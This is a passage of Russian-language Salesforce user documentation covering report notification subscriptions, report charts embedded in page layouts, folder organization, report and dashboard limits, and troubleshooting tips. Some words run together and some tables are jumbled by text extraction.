Подпишитесь на отчет для получения регулярных уведомлений при выполнении
указанных условий определенными показателями. Укажите условия, которые должны
инициировать отправку уведомлений, и выберите способ их получения: уведомления
Salesforce1, Chatter или эл. почта.

Например, пользователь может подписаться на отчет по нерешенным вопросам и
ежедневно получать уведомления, при условии, что количество нерешенных вопросов
составляет не менее 20. Пользователь может подписаться на уведомления для пяти
отчетов.

Прим.: Опция уведомлений об отчетах не отображается для несохраненных
отчетов. Сохраните отчет, чтобы иметь возможность подписаться на него.

Личные уведомления об отчетах не относятся к функции планирования будущих
запусков, позволяющей отправлять отчеты по эл. почте в указанное время (без
настройкиусловий). Чтобызапланироватьотправкуотчетовпо эл. почте, нажмите
раскрывающуюся кнопку «Запустить отчет» и выберите значение
«Запланировать будущие запуски».

1. Нажмите кнопку «Подписаться» на странице запуска отчета.

2. Определитенеобходимостьуведомленияприкаждомилитолькопервомвыполнении
условий на странице «Подписка на отчет».
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3. Укажите каждое условие посредством трех компонентов: совокупность, оператор и значение.

Например, «"Стоимость: сумма" "меньше" "1 000 000 долларов США"».

• Совокупность — это показатель, являющийся основой условия. Допустимые значения: «Количество записей»,
«Стоимость: средний», «Стоимость: наименьший», «Стоимость: наибольший» и «Стоимость: сумма».

• Оператор — это основа сравнения (например, «Равно», «Не равно», «Больше» и т. д.).

• Значение — это число, которое должно использоваться для сравнения с совокупностью.

Заданные условия оцениваются при выполнении отчета; уведомления отправляются только при выполнении всех
условий (не более пяти условий на отчет).

4. Выберите частоту (каждый будний день, ежедневно или еженедельно) и время для оценки условий.

Например, каждый будний день в 07:00.

5. Выберите как минимум один тип уведомления.

• Отправка внутрипрограммного уведомления Salesforce1

• Публикация сообщения в Chatter

• Отправка электронного уведомления

• Выполнение настраиваемого действия Apex (например, создание задач или расширение обращений)

Дополнительную информацию о разработке настраиваемого класса Apex см. в подразделе «Ссылка Apex на
разработчика».

6. Чтобы начать получение уведомлений, активируйте подписку.

7. Чтобы запланировать уведомления, нажмите кнопку «Сохранить».
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Пример: Отчет выполняется еженедельно в 7:00. При сумме менее 1 000 000 система отправляет уведомление
Salesforce1 и публикует сообщение Chatter.

СМ. ТАКЖЕ:

Планирование отчетов

Уведомления мобильного приложения Salesforce1

Общие сведения о встроенных диаграммах отчета
Раньше пользователям приходилось открывать вкладку «Отчеты» для поиска нужных данных. Теперь вся ценная
информацияможет отображаться пользователямпрямона часто просматриваемых страницах. Чтобы включить данную
возможность, просто вставьте диаграммы отчета на страницы сведений для стандартных или настраиваемых объектов.
Диаграммы, добавленные на страницы, позволяют пользователям принимать обдуманные решения только на основе
отображаемыхданных (безпоисканужныхданныхвдругихобластяхсистемы). Например, записьвозможностиотображает
важные данные прямо на соответствующей странице сведений.
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1. Пример диаграмм отчета на странице организации
Данный пример рассматривает две встроенные диаграммы отчета на странице сведений об организации, где одна
диаграмма отображает ожидаемые продажи, а вторая — открытые обращения по поддержке. Данные диаграммы
позволяют менеджеру по работе с клиентами быстро оценить активность и благосостояние организации.

2. Добавление диаграммы отчета в макет страницы
Чтобы вставить диаграмму отчета на страницы стандартных или настраиваемых объектов, измените макет страницы
объекта посредством расширенного редактора макетов страниц и добавьте диаграмму.

3. Настройка диаграммы отчета в макете страницы
Диаграмма отчета, добавленная на страницу, может быть настроена посредством диалогового окна «Свойства
диаграммы» редактора макетов страниц.

4. Ограничения для диаграмм отчета на страницах
Ниже перечислены ограничения по добавлению диаграмм на страницы сведений.

Пример диаграмм отчета на странице организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Данныйпримеррассматриваетдве встроенныедиаграммыотчетана страницесведений
об организации, где одна диаграмма отображает ожидаемые продажи, а вторая —
открытыеобращенияпоподдержке. Данныедиаграммыпозволяютменеджерупоработе
с клиентами быстро оценить активность и благосостояние организации.
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Диаграммы отчета на странице организации

1. Диаграмма по ожидаемым продажам отображает возможности организации на разных этапах, включая две
реализованные возможности. Чтобы просмотреть значение каждой возможности, наведите указатель мыши на
диаграмму. (Если диаграмма исходного отчета поддерживает отображение всплывающих сведений, то значения
отображаются выделенными.) При необходимостищелкните диаграмму, откройте отчет и просмотрите
дополнительные сведения для данных возможностей.

2. Диаграмма по открытым обращениям отображает две нерешенные проблемы по поддержке организации. При
необходимостищелкнитедиаграмму, детализируйтеотчетдляпросмотрасведенийобобращенииипроконтролируйте
решение данных проблем сотрудниками службы поддержки.
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Добавление диаграммы отчета в макет страницы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра макетов
страниц:
• «Просмотр настройки»

Для редактированиямакетов
страниц:
• «Настройка

приложения»

Чтобывставитьдиаграммуотчетанастраницыстандартныхилинастраиваемыхобъектов,
изменитемакетстраницыобъектапосредствомрасширенногоредакторамакетовстраниц
и добавьте диаграмму.

Преждечемдобавитьдиаграмму, убедитесьв выполненииперечисленныхнижеусловий.

• Исходный отчет хранится в папке, доступной соответствующим пользователям.
Отчеты, хранящиеся в личных папках, не могут быть добавлены на страницу.

• Исходный отчет является сводным или матричным.

• Исходный отчет содержит диаграмму.

1. Откройтередактормакетов страницдляобъекта, к которомудобавляетсядиаграмма.

2. Щелкните ссылку «Правка» напротив нужного макета страницы.

3. Щелкните «Диаграммы отчета».

4. Введите имя отчета в поле «Быстрый поиск», щелкните значок и выберите нужную диаграмму отчета.

Палитра «Диаграммыотчета» позволяетотображатьнеболее 200 недавнопросмотренныхотчетовпотипудиаграммы.

5. Перетащите диаграмму в новый или текущий раздел макета.

6. Чтобы настроить диаграмму, щелкните значок .

7. Нажмите кнопку «Сохранить».

Диаграммы отчета не поддерживают параметр «Предварительный просмотр как».

СМ. ТАКЖЕ:

Настройка диаграммы отчета в макете страницы

Пример диаграмм отчета на странице организации

Ограничения для диаграмм отчета на страницах

Поиск по параметрам управления объектами

Макеты страниц

Макеты страниц
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Настройка диаграммы отчета в макете страницы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра макетов
страниц:
• «Просмотр настройки»

Для редактированиямакетов
страниц:
• «Настройка

приложения»

Диаграмма отчета, добавленная на страницу, может быть настроена посредством
диалогового окна «Свойства диаграммы» редактора макетов страниц.

1. Скрытие диаграммы отчета, отображающей ошибку
Иногда страница сведений может по каким-либо причинам отображать ошибку
вместо данных диаграммы. Наличие ошибки делает диаграмму малопригодной для
использования; при необходимости такая диаграмма может быть скрыта.

2. Фильтрация диаграмм отчета для отображения данных, соответствующих странице
Как правило, отфильтрованные диаграммы отображают соответствующие данные,
еслитипотчета диаграммысодержитсовпадающееполе кода для записи (например,
код организации для записи организации). Периодически диаграммы отображают
неотфильтрованные данные. Диаграмма, тип отчета которой поддерживает поиск
совпадающего поля кода, может быть настроена для фильтрации.

3. Обновление данных диаграммы отчета
Какправило, диаграммыобновляютсвоиданныекаждые 24 часа. Принеобходимости
диаграмма может обновляться при каждом открытии соответствующей страницы.
Данный параметр обновления доступен в диалоговом окне «Свойства диаграммы»
редактора макетов страниц. Тем не менее, рекомендуем использовать ежедневное
обновление, так как при выборе данного параметра пользователи будут быстро
достигать установленногоограниченияпообновлениюилидожидаться завершения
обновления для просмотра данных диаграммы.

Скрытие диаграммы отчета, отображающей ошибку

Иногда страница сведений может по каким-либо причинам отображать ошибку вместо данных диаграммы. Наличие
ошибки делает диаграмму малопригодной для использования; при необходимости такая диаграмма может быть скрыта.

Чтобыскрытьподобнуюдиаграмму, установитефлажок «Скрытьдиаграммусошибкой» в диалоговомокне «Свойства
диаграммы» редактора макетов страниц.

Ниже перечислены возможные причины отображения ошибки на странице.

• Недоступность поля, используемого для фильтрации.

• Недоступность папки отчетов.

• Удаление диаграммы из отчета.

• Изменение определения отчета.

• Недоступность самого отчета.
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Фильтрация диаграмм отчета для отображения данных, соответствующих странице

Какправило, отфильтрованныедиаграммыотображаютсоответствующиеданные, еслитипотчета диаграммысодержит
совпадающее поле кода для записи (например, код организации для записи организации). Периодически диаграммы
отображаютнеотфильтрованныеданные. Диаграмма, типотчета которойподдерживаетпоиск совпадающегополякода,
может быть настроена для фильтрации.

Разрешениефильтрациидиаграммы

Диаграмма, тип отчета которой не содержит совпадающего поля кода для записи, недоступна для фильтрации. Взамен,
диаграмма отображает все данные.

Диаграмма отчета по открытым обращениям отображает в записи организации данные для всех организаций. Чтобы
разрешитьфильтрацию диаграммы, измените макет типа настраиваемого отчета по обращениям и добавьте поле «Код
организации» посредствомобластипоиска. Теперьпросмотр записиорганизацииинициируетфильтрациюдиаграммы.

Выбор соответствующегофильтра

Диаграмма может не отображать данные при наличии нескольких полей кода, доступных для фильтрации. В подобных
случаяхнужноеполекодаможетбытьвыбранопосредствомраскрывающегосясписка«Отфильтрованопо:»вдиалоговом
окне «Свойства диаграммы». Диаграмма по открытым возможностям в записях организацийфильтруется по полю «Код
организации-партнера»; даннаяфильтрациямалопригоднадляиспользования. Чтобывыполнитьфильтрациюпозаписи
организации, пользовательможетизменитьсвойствадиаграммыивыбратьполе «Код организации» израскрывающегося
списка.

Прим.: Диаграммы, исходный отчет которых содержит более 20фильтров поля, не могут быть отфильтрованы.
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Обновление данных диаграммы отчета

Какправило, диаграммыобновляют своиданные каждые 24 часа. Принеобходимостидиаграммаможетобновлятьсяпри
каждом открытии соответствующей страницы. Данный параметр обновления доступен в диалоговом окне «Свойства
диаграммы» редактора макетов страниц. Тем не менее, рекомендуем использовать ежедневное обновление, так как при
выборе данного параметра пользователи будут быстро достигать установленного ограничения по обновлению или
дожидаться завершения обновления для просмотра данных диаграммы.

Ежедневное обновление

Диаграммы обновляют свои данные каждые 24 часа. Чтобы просмотреть самые последние данные, нажмите кнопку
«Обновить» в диаграмме.

Обновлениеприоткрытиистраницы

Чтобы изменить способ обновления диаграммы, установите флажок «Обновлять при каждом открытии страницы»
вдиалоговомокне «Свойствадиаграммы» редакторамакетовстраниц. Данныйпараметринициируетобновлениедиаграммы
при каждом открытии соответствующей страницы. Ниже перечислены две причины, по которым данный параметр
является нерекомендуемым.

• Пользователи могут быстро достигать установленного ограничения по обновлению диаграммы. Обновления
учитываются почасовым ограничением для каждого пользователя и организации.

• Пользователи могут просматривать данные диаграммы только после завершения выполнения отчетов.

Ограничения для диаграмм отчета на страницах

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Ниже перечислены ограничения по добавлению диаграмм на страницы сведений.

• Каждая страница может содержать не более двух диаграмм отчета.

• Диаграммыотчетамогутбытьдобавленытолькоизрасширенногоредакторамакетов
страниц. Мини-консоль и исходныйредактормакетов страницне поддерживаются.

• Страницы сведений позволяют обновлять каждые 60 минут не более 100 диаграмм
отчета.

• Организация может обновлять каждые 60 минут не более 3 000 диаграмм отчета.

СМ. ТАКЖЕ:

Добавление диаграммы отчета в макет страницы

Пример диаграмм отчета на странице организации

Систематизация отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Сортировка отчетов по папкам и удаление ненужных отчетов позволяют упростить
процессихпоиска. Прибольшомчислеотчетоврекомендуемиспользоватьполепоиска.

1. Фиксация избранных папок отчетов
Система позволяет фиксировать часто используемые папки отчетов и панелей
мониторинга вверху списка, исключая необходимость их регулярного поиска.

4185

ОтчетыAnalytics



2. Скрытие неиспользуемых типов отчетов
Если пользователи применяют только часть из доступных стандартных типов отчетов, остальные можно скрыть.

3. Перемещение отчетов или панелей мониторинга между папками
Рекомендуемхранитьотчетыипанелимониторингавпапках, которыеотображаютихфункцииицелевуюаудиторию.
При необходимости отчеты и панели мониторинга могут быть перенесены из одной папки в другую.

4. Удаление отчета
Выбранный отчет может быть удален на вкладке «Отчеты» или на странице запуска отчета.

Фиксация избранных папок отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

Система позволяет фиксировать часто используемые папки отчетов и панелей
мониторинга вверху списка, исключая необходимость их регулярного поиска.

1. Наведите указатель мыши на нужную папку в списке папок отчетов и панелей

мониторинга и щелкните значок .

2. Выберите пункт «Фиксировать сверху».
Данное действие инициирует перемещение папки наверх списка папок.

Каждая новая зафиксированная папка перемещается наверх списка и отображается над другими зафиксированными
папками. Чтобы переместить зафиксированную папку наверх списка, выполните повторнуюфиксацию.

Скрытие неиспользуемых типов отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Если пользователи применяют только часть из доступных стандартных типов отчетов,
остальные можно скрыть.

1. Нажмите кнопку «Создать отчет...» на вкладке «Отчеты».

2. Установите флажок «Выбрать типы отчетов для сокрытия».

Отчет, помеченный зеленой галочкой, доступен всем пользователям.

3. Чтобы скрыть тип отчета, щелкните по галочке, и она изменится на X.
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Скрытые типы отчетов не отображаются при использовании поля поиска на странице «Создать отчет».

Папка, содержащая только скрытые типы отчетов, не отображается. Однако, если впоследствии сделать видимым тип
отчета в диалоговом окне «Выбрать типы отчетов для сокрытия», папка снова будет отображаться.

Перемещение отчетов или панелей мониторинга между папками

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Отчеты»:
• «Запуск отчетов»

Рекомендуем хранить отчеты и панели мониторинга в папках, которые отображают их
функции и целевую аудиторию. При необходимости отчеты и панели мониторинга
могут быть перенесены из одной папки в другую.

Прим.: Прежде чем переместить элементы в другую папку, убедитесь в наличии
полномочия на редактирование папок. Режим доступности не поддерживает
перемещение элементов путем перетаскивания.

Чтобыпереместитьотчетилипанельмониторингавдругуюпапку, перетащитенужный
элемент списковогопредставлениявпапкуотчетовилипанелеймониторинганапанели
«Папки».

1. Выберите нужный элемент в списковом представлении на вкладке «Отчеты».

2. Перетащите элемент в целевую папку на панели «Папки».

Зеленый значок галочки (1), отображающийся при перетаскивании элемента в
выбранную папку, подтверждает возможность его переноса. В противном случае
отображается красный значок ( ).

Ниже перечислены рекомендации по перемещению элементов.

• Одновременно можно перетаскивать только один элемент.

• ЭлементыустановленныхпакетовAppExchangeилистандартныхпапокотчетовнемогутбытьперенесенывдругие
папки.

• Отчеты могут быть перенесены в папки отчетов, а панели мониторинга — в папки панелей мониторинга.
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Удаление отчета

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления отчетов в
папке «Мои личные
настраиваемые отчеты»:
• «Создание и настройка

отчетов»

Для удаления отчетов в
общедоступных папках:
• «Управление

общедоступными
отчетами»

Выбранный отчет может быть удален на вкладке «Отчеты» или на странице запуска
отчета.

1. Чтобы удалить отчет, выполните одно из указанных ниже действий.

ОписаниеПараметр

Нажмитекнопку  > «Удалить»напротив
нужного отчета.

Удаление на вкладке «Отчеты»

Нажмите кнопку «Удалить».Удаление на странице запуска отчета

2. Нажмите кнопку «OK».

Удаленные отчеты перемещаются в корзину. Отчеты, хранящиеся в личных папках
другихпользователей, немогутбытьудалены. Отчеты, используемыекомпонентами
панели мониторинга или отчетными снимками, могут быть удалены только после
удалениясоответствующегокомпонентапанелимониторингаилиотчетногоснимка.

СМ. ТАКЖЕ:

Страница запуска отчета

Ограничения для отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

При создании отчетов по данным Salesforce учитывайте существующие пределы,
ограничения и различия в составлении отчетов в Lightning Experience и Salesforce Classic.

Ограничения отчетов и панелей мониторинга Salesforce

Developer
Edition

Unlimited
Edition
и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

20202020202020Количество
фильтровполяна
отчет1

5555555Количество
формул на отчет

1 в час2

(только
2 в час21 в час21 в час2

(только
———Запланированные

отчеты

(Размер
электронного

часы
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Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

неполной
нагрузки3)

(Не более
трех

часы
неполной
нагрузки3)

(Не более
трех

отчета не должен
превышать 10 Мб.)

предпочтительных
предпочтительных времен
времен начала;
начала; данное
данное значение
значение не может
не может быть

изменено)быть
изменено)

3 на панель
мониторинга

3 на панель
мониторинга

3 на панель
мониторинга

3 на панель
мониторинга

———Фильтры панели
мониторинга

Не более
трех на
организацию

Неболее10
на
организацию

Не более
пяти на
организацию

————Динамические панели
мониторинга

—2 в час21 в час2————Запланированные
обновления панели
мониторинга

4002,00020050———Типы настраиваемых
отчетов

(Ограничения
применяются ко всем
типам настраиваемых
отчетов, независимо от
статуса разработки.)

1 в час2

(только
2 в час21 в час21 в час2

(только
———Отчетные снимки

часычасы
неполной
нагрузки3)

(Не более
одного

неполной
нагрузки3)

(Не более
одного

предпочтительногопредпочтительного
временивремени
начала вначала в
день;день;
данноеданное
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Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

значение
не может

значение
не может

быть
изменено)

быть
изменено)

1 Данные ограничения применяются к конструктору отчетов. При использовании мастера отчетов ограничение равно
10.
2 Не более 200.
3 Часы неполной нагрузки — это промежуток времени между 18:00 и 03:00 по местному времени.

Система Salesforce сохраняет архивные данные за предыдущие три месяца и текущий месяц.

Описанныенижеограничениядляотчетов Salesforce ипанелеймониторингадействуютво всехподдерживаемыхверсиях.

Ограничения для отчетов

• Областьпредварительногопросмотра конструктораотчетов содержитнеболее20 строкдля сводныхиматричных
отчетов и не более 50 строк для табличных отчетов.

• В диаграмме может использоваться не более 250 групп или 4 000 значений. В случае сообщения об ошибке,
уведомляющего о наличии слишком большого числа групп или значений, задайте фильтры отчета, чтобы
уменьшить это количество. В комбинированных диаграммах учитываются все группы и значения.

• Отчеты отображают не более 2 000 строк. Чтобы просмотреть все строки, экспортируйте отчет в Excel или
воспользуйтесь печатной версией табличных и сводных отчетов. Составные отчеты не поддерживают экспорт, а
печатная версия отображает не более 20 000 строк.

– Если функция «Показать сведения» отключена, то сводные и матричные отчеты отображают только первые
2000 группировок.

– Матричные отчеты отображают не более 400 000 итоговых значений.

– Еслифункция «Показать сведения» отключена, томатричныеотчетыотображаютнеболее 2 000 группировок
повертикальнойоси. Еслиотчетсодержитболее 400 000 итоговыхзначений, тосначалауменьшаетсяколичество
строк (до 2 000 группировок), а затем уменьшается количество столбцов (пока количество итоговых значений
не достигнет 400 000).

• При просмотре в Salesforce1 отчетов с группировками такие отчеты преобразовываются в табличные.

• По умолчанию время выполнения отчетов составляет 10 минут.

• Каждый блок составного отчета может содержать не более 100 столбцов. Составной отчет может содержать не
более 5 блоков.

• Каждыйблок составногоотчетаможет содержатьне более 10настраиваемыхформулрезюмирования. Составной
отчет может содержать не более 50 настраиваемых формул резюмирования.

• Каждый составной отчет может содержать не более 10 настраиваемых формул резюмирования кросс-блока.

• Прифильтрациистандартныхполейтипа «Областьподробноготекста» (например, поле «Описание» или «Сведения
о решении») поиск выполняется только по первой 1 000 символов.

• В отчете отображаются только первые 254 символа области подробного или обогащенного текста.

4190

ОтчетыAnalytics



• Поля резюмирования в табличных, сводных и матричных отчетах могут отображать не более 21 символа.

• Отчеты не могут быть отфильтрованы по настраиваемым полям типа «Область подробного текста».

• Составные отчеты требуют включения новой темы пользовательского интерфейса. В противном случае
пользователи не могут создавать, редактировать и запускать составные отчеты.

• Отчеты по прогнозам включают только те возможности, которые должны быть закрыты в выбранный период
прогноза, кроме возможностей, которым назначена категория прогноза «Пропущено».

• Обозреватель Internet Explorer 6 не поддерживает составные отчеты.

Ограничения для панелей мониторинга

• Фильтрпанелимониторингаможетиметьнеболее50параметров. Поумолчанию: 10параметров. Чтобыувеличить
данное ограничение, обратитесь в компанию Salesforce.

• Каждая панель мониторинга может содержать не более 20 компонентов.

• Фильтрацияпополямобластинеподдерживается. Принеобходимостивоспользуйтесьотчетом, отфильтрованным
по полю области на странице панели мониторинга.

• Таблица или диаграмма панели мониторинга может отображать не более 20фотографий.

• Повторное обновление панели мониторинга может быть выполнено не ранее, чем через одну минуту.

Ограничения для типов отчетов

• Тип настраиваемого отчета может содержать не более 60 ссылок на объекты.Например, при ограничении типа
отчета четырьмя взаимосвязямиобъекта полепоискапозволяет выбиратьполя дополнительных 56 объектов. Тем
не менее, при выполнении отчета, созданного на основе типа настраиваемого отчета и содержащего столбцы не
менее, чем из 20 разных объектов, отображается сообщение об ошибке.

• Каждый тип настраиваемого отчета может содержать не более 1000 полей.

Ограничения для отчетных снимков

• Максимальное количество строк, добавляемых в настраиваемый объект, составляет 2000.

• Максимальное количество запусков, доступных для хранения, составляет 200.

• Максимальноеколичествостолбцовисходногоотчета, доступныхдля соотнесениясцелевымиполями, составляет
100.

Ограничения пофильтрации

Фильтрация охватывает только первые 255 символов настраиваемого текстового поля.

Ограничения для встроенных диаграмм отчета

• Каждая страница может содержать не более двух диаграмм отчета.

• Диаграммы отчета могут быть добавлены только из расширенного редактора макетов страниц. Мини-консоль и
исходный редактор макетов страниц не поддерживаются.

• Страницы сведений позволяют обновлять каждые 60 минут не более 100 диаграмм отчета.

• Организация может обновлять каждые 60 минут не более 3000 диаграмм отчета.

Ограничения для списковых представлений

• Списковые представления отображают только первые 255 символов настраиваемых полей типа «Область
подробного текста».

Ограничения для областей и полей областей

• В каждом отчете может быть до пяти полей областей.

• Каждое поле областей может содержать до 20 областей.
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• Каждая область может содержать до 20 значений.

• Поля областей доступны для использования только в том отчете, где они были созданы. Для использования
областивнесколькихотчетах создайтеполедля каждогоотчеталибосоздайтеотдельноеполеформулдляобъекта,
зависимого от данной области.

Прим.: Эти ограничения не распространяются на использование пункта «Прочее» согласно разрешению
в настройке поля областей.

Допустимый диапазон величин следующий. Максимальное допустимое значение: 999999999999999.Минимальное
допустимое значение: -99999999999999.

Ограничения API отчетов и панелей мониторинга
Ниже перечислены ограничения, действующие в REST API отчетов и панелей мониторинга и API отчетов и панелей
мониторинга в Apex.

• Кросс-фильтры, стандартныефильтры отчетов ифильтрация по ограничению строк недоступны прифильтрации
данных.

• Архивный трендинг поддерживается только матричными отчетами.

• Интерфейс API может обрабатывать только отчеты, содержащие не более 100 полей, выбранных в качестве столбцов.

• Система возвращает не более 200 недавно просмотренных отчетов.

• Организация поддерживает не более 500 запросов на синхронное выполнение отчета в течение одного часа.

• Интерфейс API поддерживает одновременно не более 20 запросов на синхронное выполнение отчета.

• Система возвращает не более 2000 экземпляров отчета, выполненного асинхронно.

• Интерфейс API поддерживает одновременно не более 200 запросов на извлечение результатов асинхронного
выполнения отчета.

• Организация поддерживает не более 1200 запросов на асинхронное выполнение в течение одного часа.

• Результаты асинхронного выполнения отчета доступны в течение 24 часов.

• Интерфейс API возвращаетнеболее 2000 первыхстрокотчета. Чтобыуточнитьрезультаты, воспользуйтесьфильтрами.

• При необходимости добавьте не более 20 фильтров настраиваемого поля при выполнении отчета.

• Организация поддерживает не более 200 запросов на обновление панели мониторинга в течение одного часа.

• Организация поддерживает не более 5000 запросов на просмотр результатов панели мониторинга в течение одного
часа.

СМ. ТАКЖЕ:

Отчеты и панели мониторинга: Чего нет в Lightning Experience
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Устранение неполадок отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Нижеперечислены советыпо устранениюпроблем, возникающихприиспользовании
отчетов.

1. Почему перекрываются мои метки диаграммы?

Иногда метки диаграмммогут перекрываться, что осложняет процесс их прочтения.
Возможные причины: слишком большой объем данных в одной области или
слишком малый размер секторов диаграммы.

2. Почему не отображаются результаты отчета?
Чтобыпроверитьналичиедоступак записям, используемымдлясоставленияотчета,
обратитесь к администратору. Если результаты отчета все равно не отображаются,
попробуйте применить более общие критерии фильтрации.

3. Почему формулы не отображаются в конструкторе отчетов?

Если параметр «Добавитьформулу» отсутствует на панели «Поля» конструктора отчетов, выберите сводный,
матричный или составной отчет. Формулы не отображаются для табличных отчетов.

4. Почему отчет отображает другие данные?

Прежде чем отправить запрос на отображение данных, рекомендуем проверить фильтры, группировки, поля, тип
отчета и иерархию ролей или пользователей.

5. Какие ограничения применяются к отчетам?

Нижеперечисленынекоторыеограничения, установленныедляотчетов. Полныйсписокограниченийдля аналитики
см. в руководстве «Ограничения Salesforce».

6. Почему отображается сообщение об ошибке «Устаревший отчет»?

Возможно, данные, используемые для составления отчета, недоступны.

7. Повышение эффективности отчетов
Недостоверныерезультатыилипревышениевременивыполненияотчетовмогутбытьвызваныцелымрядомфакторов.
Большинство из них можно адресовать с внесением простых изменений, например с использованием правильных
операторов фильтрации, увеличением количества фильтров и уменьшением объема данных.

8. Почему отчет отображает устаревшее имя роли в журнале «Иерархия ролей»?

Изменения, внесенные в имя роли, не отображаются в отчетах автоматически. Чтобы просмотреть новое имя роли,
измените поле «Имя роли, отображаемое в отчетах» в записи роли.

Почему перекрываются мои метки диаграммы?

Иногда метки диаграмм могут перекрываться, что осложняет процесс их прочтения. Возможные причины: слишком
большой объем данных в одной области или слишком малый размер секторов диаграммы.

Чтобы исправить данную ошибку, выполните указанные ниже действия.

• Расширьте диаграмму. Выберите более крупный размер диаграммы отчета или измените ширину столбца панели
мониторинга.

• Удалите лишние уровни группировки. Чтобы сократить количество уровней группировки, выберите другой тип
диаграммы. Например, горизонтальные диаграммы используют меньше значений, чем горизонтальные групповые
диаграммы.

• Воспользуйтесьгоризонтальнымидиаграммами.Горизонтальныеивертикальныедиаграммыиспользуютразные
расстояния. Несмотря на фиксированнуюширину, горизонтальные диаграммы могут растягиваться по вертикали
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для отображения разных группировок. Возможность отображения фотографий Chatter определяется параметрами
диаграммы.

• Изменитешкалу. Разрешите диаграмме использовать более крупные единицы. Например, значения могут
отображаться в виде числа, кратного 1 000 или 1 000 000.

• Сгруппируйте малые значения. Установите флажок «Объединить малые группы в сектор "Другое"» для
секторных, круговых и конических диаграмм.

Почему не отображаются результаты отчета?
Чтобыпроверитьналичие доступа к записям, используемымдля составленияотчета, обратитесь к администратору. Если
результаты отчета все равно не отображаются, попробуйте применить более общие критерии фильтрации.

• Выберите отображение всех записей. Например, выберите пункты «Показать» > «Все организации».

• Измените фильтры временного интервала. Например, выберите значение «Все время» в раскрывающемся списке
«Диапазон» или выберите более широкий настраиваемый диапазон.

• Выберите правильный оператор для фильтра поля. Например, фильтр «"Ответственный за организацию" "равно"
"Иван Петров"» ограничивает результаты записями, содержащими критерий «Иван Петров». Чтобы расширить
результаты отчета, введите более общийфильтр (например, «"Ответственный за организацию" "равно" "Петров"»).

• Проверьте логику фильтра. Убедитесь, что указанные условия не препятствуют отображению данных.

Ограничение результатов отчета позволяет повысить производительность, но может стать причиной сокрытия нужных
данных.

Почему формулы не отображаются в конструкторе отчетов?
Если параметр «Добавитьформулу» отсутствует на панели «Поля» конструктора отчетов, выберите сводный,
матричный или составной отчет. Формулы не отображаются для табличных отчетов.

Почему отчет отображает другие данные?
Прежде чем отправить запрос на отображение данных, рекомендуемпроверитьфильтры, группировки, поля, тип отчета
и иерархию ролей или пользователей.

Фильтры
Убедитесь, что добавлены все необходимые данные. Чтобы изменить фильтр отчета, наведите указатель мыши на
нужныйфильтр и щелкните ссылку «Правка» или «Удалить». Фильтры отображаются при выполнении отчета.
Чтобы внести дополнительные изменения, щелкните ссылку «Правка» на странице отчета.

Группировки
Поле, используемое для группировки, удаляется из сведений об отчете. Тем не менее, поле, которое не отображается
в области сведений, отображается при экспорте отчета.

Поля
После проверки группировок рекомендуем проверить поля. Если отчет содержит несколько связанных записей
(например, организацию, ее возможности и их продукты), убедитесь, что заполненыполя соответствующих страниц
сведений. Приотсутствиинужногоформатаотображенияданныхобратитесь к администратору Salesforce спросьбой
добавить поляформулы для извлечения данных. Поляформулы, добавленные в объект, отображаются на страницах
сведений о записях и в отчетах.
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Тип отчета
Выбранный тип отчета является недопустимым или нужные записи не могут совместно использовать взаимосвязь
междуобъектами, необходимуюдлятипаотчета. Преждечемвыбратьотчет, рекомендуемпросмотретьполя, доступные
в типе отчета.

Если тип отчета содержит родительские и дочерние объекты, но отчет не использует дочерние поля, то отчет
отображает родительские записи, независимо от наличия дочерней записи.

Иерархия
Параметр «Иерархия» позволяет детализировать различные наборы данных на основе иерархии ролей или
пользователей. Отображаемые данные могут определяться выбранным уровнем иерархии или стандартной ролью.

Прим.: Иерархия применяется к отчетам по действиям и возможностям.

Какие ограничения применяются к отчетам?

Ниже перечислены некоторые ограничения, установленные для отчетов. Полный список ограничений для аналитики
см. в руководстве «Ограничения Salesforce».

.

ВерсииОграничениеФункция

Доступно в версиях Enterprise Edition, Unlimited Edition,
Performance Edition и Developer Edition.

Не более 5 (каждое поле
области может содержать
20 областей)

Количество полей
области в отчете

Доступно во всех версиях.Не более 400 000 итоговых
значений. Данные,

Матричные отчеты

превышающие
установленныеограничения,
не отображаются.

Доступновверсиях Professional Edition, Enterprise Edition, Unlimited
Edition, Performance Edition и Developer Edition.

Не более двух в час (в
зависимости от
используемой версии)

Количество
запланированныхотчетов
на организацию

Доступно во всех версиях.Не более 20Количество фильтров
поля в отчете

Доступно во всех версиях.Не более 5Количество формул в
отчете

Доступно во всех версиях.Не более 2 000. Чтобы
просмотреть все строки,

Количество
отображаемых строк в
отчете экспортируйте отчет в Excel

или воспользуйтесь
печатной версией
табличных и сводных
